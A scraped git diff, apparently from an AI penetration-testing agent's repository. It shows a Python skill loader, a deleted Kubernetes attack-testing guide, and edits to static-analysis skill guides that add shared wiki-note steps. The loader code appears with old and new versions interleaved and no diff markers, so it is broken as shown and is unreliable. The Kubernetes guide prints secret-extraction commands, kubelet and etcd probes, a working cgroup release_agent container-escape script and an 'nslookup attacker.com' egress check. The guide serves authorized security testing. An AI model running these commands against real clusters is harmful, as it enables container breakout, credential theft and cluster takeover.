skills.append(skill_name)
if skills:
all_categories[category_name] = sorted(skills)
return all_categories
def load_skills(skill_names: list[str]) -> dict[str, str]:
import logging
logger = logging.getLogger(__name__)
skill_content = {}
skills_dir = get_strix_resource_path("skills")
all_categories = _get_all_categories()
skill_content: dict[str, str] = {}
for skill_name in skill_names:
rel_path: str | None
if "/" in skill_name:
rel_path = f"{skill_name}.md"
elif skill_name in by_category:
rel_path = by_category[skill_name]
elif (skills_dir / f"{skill_name}.md").exists():
rel_path = f"{skill_name}.md"
else:
rel_path = None
if rel_path is None or not (skills_dir / rel_path).exists():
logger.warning("Skill not found: %s", skill_name)
continue
try:
content = (skills_dir / rel_path).read_text(encoding="utf-8")
except (OSError, ValueError) as e:
logger.warning("Failed to load skill %s: %s", skill_name, e)
continue
skill_path = None
var_name = skill_name.split("/")[-1]
skill_content[var_name] = _FRONTMATTER_PATTERN.sub("", content).lstrip()
logger.debug("Loaded skill: %s -> %s", skill_name, var_name)
if "/" in skill_name:
skill_path = f"{skill_name}.md"
else:
for category, skills in all_categories.items():
if skill_name in skills:
skill_path = f"{category}/{skill_name}.md"
break
if not skill_path:
root_candidate = f"{skill_name}.md"
if (skills_dir / root_candidate).exists():
skill_path = root_candidate
if skill_path and (skills_dir / skill_path).exists():
full_path = skills_dir / skill_path
var_name = skill_name.split("/")[-1]
content = full_path.read_text(encoding="utf-8")
content = _FRONTMATTER_PATTERN.sub("", content).lstrip()
skill_content[var_name] = content
logger.info(f"Loaded skill: {skill_name} -> {var_name}")
else:
logger.warning(f"Skill not found: {skill_name}")
except (FileNotFoundError, OSError, ValueError) as e:
logger.warning(f"Failed to load skill {skill_name}: {e}")
logger.debug("load_skills: %d skill(s) resolved", len(skill_content))
return skill_content
-223
View File
@@ -1,223 +0,0 @@
---
name: kubernetes
description: Kubernetes cluster security testing - RBAC, API exposure, container escapes, network policies, secrets, and supply chain
---
# Kubernetes Security Testing
Kubernetes clusters expose a large attack surface through their API server, kubelet, etcd, and workload configurations. Misconfigurations in RBAC, network policies, and container security contexts are common and frequently lead to privilege escalation, lateral movement, and cluster takeover. This skill covers direct cluster access scenarios. For SSRF-mediated Kubernetes access, see the ssrf skill.
## Attack Surface
**Scope**
- Kubernetes API server (typically port 6443 or 443)
- Kubelet API (port 10250 authenticated, port 10255 deprecated read-only)
- etcd (port 2379/2380, stores all cluster state including secrets)
- Cloud provider metadata endpoints reachable from pods
- Container runtimes (containerd, CRI-O) via socket access
- Service mesh sidecars and ingress controllers
**Entry Points**
- Exposed API server with weak or anonymous authentication
- Compromised pod with mounted service account token
- CI/CD runner with cluster credentials (kubeconfig files, IRSA tokens)
- Exposed management UIs (Kubernetes Dashboard, Rancher, ArgoCD)
- Node-level access via SSH, cloud instance metadata, or container escape
**Authentication Methods**
- Service account tokens (mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
- Client certificates (kubeconfig files, often found in CI/CD configs, home dirs, cloud storage)
- OIDC tokens, webhook tokens, cloud provider IAM-to-K8s mappings (EKS IRSA, GKE Workload Identity)
- Anonymous access (enabled by default; unauthenticated requests become `system:anonymous` / `system:unauthenticated`, with only explicitly bound RBAC permissions such as public discovery/info roles)
## Key Vulnerabilities
### RBAC Misconfigurations
- Wildcard verbs or resources in ClusterRole/Role bindings: `verbs: ["*"]`, `resources: ["*"]`
- `cluster-admin` bound to service accounts that don't need it
- Pods running with `automountServiceAccountToken: true` (the default) when no API access is needed
- `system:anonymous` or `system:unauthenticated` group bound to permissive roles
- Roles that grant `escalate`, `bind`, or `impersonate` verbs
**Test:**
```
kubectl auth can-i --list
kubectl auth can-i create pods --as=system:serviceaccount:default:default
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "system:anonymous")'
```
### Exposed APIs
- API server with `--anonymous-auth=true` and permissive RBAC for anonymous users
- Kubelet read-only port 10255 serving `/pods`, `/spec`, `/stats`
- etcd without client certificate authentication: `etcdctl get / --prefix --keys-only`
- Kubernetes Dashboard with skip-login or default token
- Metrics endpoints (`/metrics`, `/debug/pprof`) leaking internal state
**Test:**
```
curl -sk https://<api-server>:6443/api/v1/namespaces
curl -s http://<node-ip>:10255/pods
curl -s http://<node-ip>:10255/metrics
```
### Container Escapes
- `privileged: true` in securityContext grants all Linux capabilities and device access
- `hostPID: true` enables `/proc` access to host processes, `nsenter` to host namespace
- `hostNetwork: true` places the pod on the host network stack
- Mounted Docker/containerd socket (`/var/run/docker.sock`, `/run/containerd/containerd.sock`)
- `CAP_SYS_ADMIN` + unconfined AppArmor enables mount namespace escapes via cgroup release_agent
- Writable `hostPath` mounts to `/`, `/etc`, or `/var/run`
**Test:**
```
# Check if running privileged
cat /proc/1/status | grep -i cap
# List host processes via hostPID
ls /proc/*/cmdline 2>/dev/null | head -20
# Check for mounted sockets
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
# cgroup v1 release_agent escape (privileged + CAP_SYS_ADMIN)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/exploit.sh" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit.sh && echo "ps aux > $host_path/out" >> /exploit.sh && chmod +x /exploit.sh
sh -c 'echo $$ > /tmp/cgrp/x/cgroup.procs'
```
### Network Policy Gaps
- No NetworkPolicy objects means all pod-to-pod traffic is allowed by default
- Egress policies missing, allowing pods to reach cloud metadata, external C2, or internal services
- Policies that select by namespace label but don't account for label-squatting
- DNS (port 53 UDP/TCP) often exempted from egress rules, enabling DNS tunneling
**Test:**
```
kubectl get networkpolicies --all-namespaces
# From inside a pod, test lateral reach
curl -s http://<other-pod-ip>:<port>/
curl -s http://169.254.169.254/latest/meta-data/
nslookup attacker.com
```
### Secret Management Issues
- Secrets stored as base64 in etcd (not encrypted at rest by default)
- Secrets injected via environment variables (visible in `/proc/*/environ`, `docker inspect`, crash dumps)
- ConfigMaps containing credentials, API keys, connection strings
- Service account tokens auto-mounted into pods that never call the API
- Helm release secrets containing full chart values with credentials
**Test:**
```
kubectl get secrets --all-namespaces -o json | jq '.items[].metadata.name'
kubectl get secret <name> -o json | jq '.data | map_values(@base64d)'
env | grep -iE 'password|key|token|secret|credential'
cat /var/run/secrets/kubernetes.io/serviceaccount/token
```
### Workload Misconfigurations
- Containers running as root (`runAsUser: 0` or no securityContext set)
- Missing `readOnlyRootFilesystem: true`
- No resource limits (enables resource exhaustion attacks, noisy neighbor DoS)
- `allowPrivilegeEscalation: true` (the default)
- Missing `seccompProfile` or AppArmor annotations
**Test:**
```
kubectl get pods -o json | jq '.items[].spec.containers[].securityContext'
kubectl get pods -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | .metadata.name'
```
### Supply Chain Risks
- Images pulled from public registries without digest pinning (`:latest` tag is mutable)
- No image signing or admission policy (Kyverno, OPA Gatekeeper, Sigstore)
- Init containers or sidecar injectors pulling untrusted images
- Helm charts from unverified repos with post-install hooks
- CI/CD pipelines with broad cluster access and no image scanning
**Test:**
```
kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep -v '@sha256'
kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep ':latest'
```
## Bypass Techniques
**Token Reuse**
- Service account tokens from one pod can access any API object the SA has permissions for
- Tokens from CI/CD systems often have broad access (deploy, create, delete)
- Expired tokens may still work if token verification is misconfigured
**Label Manipulation**
- If RBAC or NetworkPolicy selects by label, and attacker can set labels on their pod, they can bypass restrictions
- Namespace labels used for admission control can be manipulated if attacker has `update` on namespaces
**Admission Webhook Bypass**
- Dry-run requests bypass mutating webhooks
- Some webhooks only check specific API groups, leaving others unprotected
- Webhook failures configured as `failurePolicy: Ignore` silently bypass validation
**Kubelet Direct Access**
- The kubelet API on port 10250 accepts commands independently from the API server
- If you can reach a node's kubelet, you can exec into any pod on that node
- Anonymous kubelet access: `curl -sk https://<node>:10250/runningpods/`
## Testing Methodology
1. **Enumerate access** - Determine current auth context: `kubectl auth whoami`, `kubectl auth can-i --list`
2. **Map the cluster** - List namespaces, pods, services, nodes, and their labels: `kubectl get all -A`
3. **Check RBAC** - Review ClusterRoleBindings and RoleBindings for overly permissive grants
4. **Probe APIs** - Test API server, kubelet, etcd, and dashboard reachability from your context
5. **Inspect workloads** - Check securityContext, hostPID/hostNetwork, volume mounts, and image tags
6. **Test network reach** - From compromised pod, probe other pods, services, metadata endpoints, and external hosts
7. **Extract secrets** - Enumerate secrets, env vars, mounted tokens, and Helm release values
8. **Escalate** - Chain findings: SA token + permissive RBAC -> create privileged pod -> node access -> cluster-admin
9. **Benchmark** - Run `kube-bench` for CIS compliance, `kubesec` for workload hardening scores, `trivy` for image CVEs
## Validation
1. Prove access to resources beyond intended scope (cross-namespace secret read, exec into another team's pod)
2. Demonstrate privilege escalation path from initial access to elevated permissions (SA token -> cluster-admin)
3. Show actual credential extraction (token, kubeconfig) and verify it grants claimed access level
4. For container escapes, demonstrate host filesystem read or host process visibility without destructive actions
5. Confirm NetworkPolicy gaps by showing successful cross-namespace or metadata endpoint connections
## False Positives
- `kubectl auth can-i` returning `yes` for service accounts that are restricted by admission controllers or OPA policies
- Kubelet port 10250 reachable but returning 401/403 (authentication is working correctly)
- NetworkPolicy absent in a namespace that uses a CNI with default-deny (Calico GlobalNetworkPolicy)
- Service account tokens mounted but unused, with admission controllers preventing their abuse
- Images using `:latest` tag but pulled from a private registry with immutable tags enabled
## Impact
- Full cluster compromise from a single misconfigured RBAC binding or service account
- Lateral movement across namespaces and workloads via pod-to-pod communication
- Cloud account compromise via metadata endpoint access from pods (AWS keys, GCP tokens, Azure MSI)
- Supply chain attacks via compromised base images or Helm chart hooks
- Data exfiltration from secrets, ConfigMaps, and persistent volumes
- Denial of service through resource exhaustion in clusters without resource quotas
## Pro Tips
1. Start with `kubectl auth can-i --list` to understand your blast radius before probing anything
2. Service account tokens in `/var/run/secrets/` are your first pivot point from any compromised pod
3. Test metadata endpoint access early - cloud credentials from pods are the fastest path to cluster-admin
4. Check for `kube-system` namespace access - controllers there often have cluster-admin equivalent permissions
5. `kube-bench` output is noisy but highlights the CIS benchmark failures that matter most
6. Container escapes via cgroup release_agent require `CAP_SYS_ADMIN` (via `privileged: true` or an explicit capability grant) plus permissive AppArmor/seccomp confinement
7. Helm release secrets (`sh.helm.release.v1.*`) in `kube-system` often contain credentials from chart values
8. DNS from inside a pod reveals service names: `dig +short SRV *.*.svc.cluster.local`
9. When testing RBAC, try `--as=` impersonation to check what other service accounts can do
## Summary
Kubernetes security failures typically chain: a single misconfigured role binding or missing network policy enables lateral movement, which leads to secret extraction, which leads to cloud credential access. Test the chain, not just individual findings. Start from the auth context you have, enumerate what it can reach, and escalate methodically.
@@ -15,10 +15,11 @@ Increase white-box coverage by combining source-aware triage with dynamic valida
1. Build a quick source map before deep exploitation, including at least one AST-structural pass (`sg` or `tree-sitter`) scoped to relevant paths.
- For `sg` baseline, derive `sg-targets.txt` from `semgrep.json` scope first (`paths.scanned`, fallback to unique `results[].path`) and run `xargs ... sg run` on that list.
- Only fall back to path heuristics when semgrep scope is unavailable.
- Only fall back to path heuristics when semgrep scope is unavailable, and record the fallback reason in the repo wiki.
2. Run first-pass static triage to rank high-risk paths.
3. Use triage outputs to prioritize dynamic PoC validation.
4. Keep findings evidence-driven: no report without validation.
5. Keep shared wiki memory current so all agents can reuse context.
## Source-Aware Triage Stack
@@ -33,6 +34,7 @@ Coverage target per repository:
- one AST structural pass (`sg` and/or `tree-sitter`)
- one secrets pass (`gitleaks` and/or `trufflehog`)
- one `trivy fs` pass
- if any part is skipped, log the reason in the shared wiki note
## Agent Delegation Guidance
@@ -40,6 +42,27 @@ Coverage target per repository:
- For source-heavy subtasks, prefer creating child agents with `source_aware_sast` skill.
- Use source findings to shape payloads and endpoint selection for dynamic testing.
## Wiki Note Requirement (Source Map)
When source is present, maintain two stable wiki notes per repository and keep them current:
- `wiki:overview` for architecture/source-map context
- `wiki:security` for scanner and validation deltas
Operational rules:
- At task start, call `list_notes` with `category=wiki`; read `wiki:overview` first, then `wiki:security` via `get_note(note_id=...)`.
- If wiki notes are missing, create them with `create_note`, `category=wiki`, and tags including `wiki:overview` or `wiki:security`.
- Update existing notes via `update_note`; avoid creating duplicates.
- Child agents should read both notes first, then extend with new evidence from their scope.
- Before calling `agent_finish`, each source-focused child agent should append a short delta update to `wiki:security` (scanner outputs, route/sink map deltas, dynamic follow-ups).
Recommended sections:
- Architecture overview
- Entrypoints and routing
- AuthN/AuthZ model
- High-risk sinks and trust boundaries
- Static scanner summary
- Dynamic validation follow-ups
## Validation Guardrails
- Static findings are hypotheses until validated.
+32 -17
View File
@@ -15,6 +15,17 @@ Run tools from repo root and store outputs in a dedicated artifact directory:
mkdir -p /workspace/.strix-source-aware
```
Before scanning, check shared wiki memory:
```text
1) list_notes(category="wiki")
2) get_note(note_id=...) for `wiki:overview` first, then `wiki:security`
3) Reuse matching repo wiki notes if present
4) create_note(category="wiki") only if missing (with tags `wiki:overview` / `wiki:security`)
```
After every major source-analysis batch, update `wiki:security` with `update_note` so other agents can reuse your latest map.
## Baseline Coverage Bundle (Recommended)
Run this baseline once per repository before deep narrowing:
@@ -63,6 +74,8 @@ trivy fs --scanners vuln,misconfig --timeout 30m --offline-scan \
--format json --output "$ART/trivy-fs.json" . || true
```
If one tool is skipped or fails, record that in `wiki:security` along with the reason.
## Semgrep First Pass
Use Semgrep as the default static triage pass:
@@ -121,23 +134,6 @@ trivy fs --scanners vuln,misconfig --timeout 30m --offline-scan \
--format json --output /workspace/.strix-source-aware/trivy-fs.json . || true
```
## JavaScript-Side Coverage
For frontends and Node services, layer these on top of the language-agnostic
passes above:
```bash
retire --path . --outputformat json --outputpath /workspace/.strix-source-aware/retire.json || true
eslint --no-config-lookup --rule '{"no-eval":2,"no-implied-eval":2}' \
-f json -o /workspace/.strix-source-aware/eslint.json . || true
```
When you hit a minified bundle, run `js-beautify <file>` for a readable
view before greppping — and use `jshint --reporter=unix <file>` as a
lighter syntax/anti-pattern check when ESLint is over-eager. The
`JS-Snooper` / `jsniper.sh` tools (in `katana.md`) are the right next
step to mine those bundles for endpoint candidates.
## Converting Static Signals Into Exploits
1. Rank candidates by impact and exploitability.
@@ -145,8 +141,27 @@ step to mine those bundles for endpoint candidates.
3. Build dynamic PoCs that reproduce the suspected issue.
4. Report only after dynamic validation succeeds.
## Wiki Update Template
Keep `wiki:overview` and `wiki:security` per repository. Update these sections in `wiki:security`:
```text
## Architecture
## Entrypoints
## AuthN/AuthZ
## High-Risk Sinks
## Static Findings Summary
## Dynamic Validation Follow-Ups
```
Before `agent_finish`, make one final `update_note` call to capture:
- scanner artifacts and paths
- top validated/invalidated hypotheses
- concrete dynamic follow-up tasks
## Anti-Patterns
- Do not treat scanner output as final truth.
- Do not spend full cycles on low-signal pattern matches.
- Do not report source-only findings without validation evidence.
- Do not create duplicate `wiki:overview` or `wiki:security` notes for the same repository.
+2 -2
View File
@@ -15,6 +15,7 @@ Thorough understanding before exploitation. Test every parameter, every endpoint
**Whitebox (source available)**
- Map every file, module, and code path in the repository
- Load and maintain shared `wiki` notes from the start (`list_notes(category="wiki")`, then `get_note(note_id=...)` for `wiki:overview` and `wiki:security`), then continuously update `wiki:security`
- Start with broad source-aware triage (`semgrep`, `ast-grep`, `gitleaks`, `trufflehog`, `trivy fs`) and use outputs to drive deep review
- Execute at least one structural AST pass (`sg` and/or Tree-sitter) per repository and store artifacts for reuse
- Keep AST artifacts bounded and query-driven (target relevant paths/sinks first; avoid whole-repo generic function dumps)
@@ -30,8 +31,7 @@ Thorough understanding before exploitation. Test every parameter, every endpoint
- Review file handling: upload, download, processing
- Understand the deployment model and infrastructure assumptions
- Check all dependency versions and repository risks against CVE/misconfiguration data
- For quick CVE lookups on a named product/version, use `vulnx search <query>`
(ProjectDiscovery's CVE database) before falling back to web_search
- Before final completion, update `wiki:security` with scanner summary + dynamic follow-ups
**Blackbox (no source)**
- Exhaustive subdomain enumeration with multiple sources and tools
+2
View File
@@ -15,6 +15,7 @@ Optimize for fast feedback on critical security issues. Skip exhaustive enumerat
**Whitebox (source available)**
- Focus on recent changes: git diffs, new commits, modified files—these are most likely to contain fresh bugs
- Read existing `wiki` notes first (`list_notes(category="wiki")`, then `get_note(note_id=...)` for `wiki:overview` and `wiki:security`) to avoid remapping from scratch
- Run a fast static triage on changed files first (`semgrep`, then targeted `sg` queries)
- Run at least one lightweight AST pass (`sg` or Tree-sitter) so structural mapping is not skipped
- Keep AST commands tightly scoped to changed or high-risk paths; avoid broad repository-wide pattern dumps
@@ -22,6 +23,7 @@ Optimize for fast feedback on critical security issues. Skip exhaustive enumerat
- Identify security-sensitive patterns in changed code: auth checks, input handling, database queries, file operations
- Trace user input through modified code paths
- Check if security controls were modified or bypassed
- Before completion, update `wiki:security` with what changed and what needs dynamic follow-up
**Blackbox (no source)**
- Map authentication and critical user flows
+3 -1
View File
@@ -15,6 +15,7 @@ Systematic testing across the full attack surface. Understand the application be
**Whitebox (source available)**
- Map codebase structure: modules, entry points, routing
- Start by loading existing `wiki` notes (`list_notes(category="wiki")`, then `get_note(note_id=...)` for `wiki:overview` and `wiki:security`) and update `wiki:security` as mapping evolves
- Run `semgrep` first-pass triage to prioritize risky flows before deep manual review
- Run at least one AST-structural mapping pass (`sg` and/or Tree-sitter), then use outputs for route, sink, and trust-boundary mapping
- Keep AST output bounded to relevant paths and hypotheses; avoid whole-repo generic function dumps
@@ -24,6 +25,7 @@ Systematic testing across the full attack surface. Understand the application be
- Analyze database interactions and ORM usage
- Check dependencies and repo risks with `trivy fs`, `gitleaks`, and `trufflehog`
- Understand the data model and sensitive data locations
- Before completion, update `wiki:security` with source findings summary and dynamic validation next steps
**Blackbox (no source)**
- Crawl application thoroughly, interact with every feature
@@ -77,7 +79,7 @@ Test each attack surface methodically. Spawn focused subagents for different are
- Demonstrate actual impact, not theoretical risk
- Chain vulnerabilities to show maximum severity
- Document full attack path from entry to impact
- Use Python scripts through `exec_command` for complex exploit development
- Use python tool for complex exploit development
## Phase 5: Reporting

Some files were not shown because too many files have changed in this diff Show More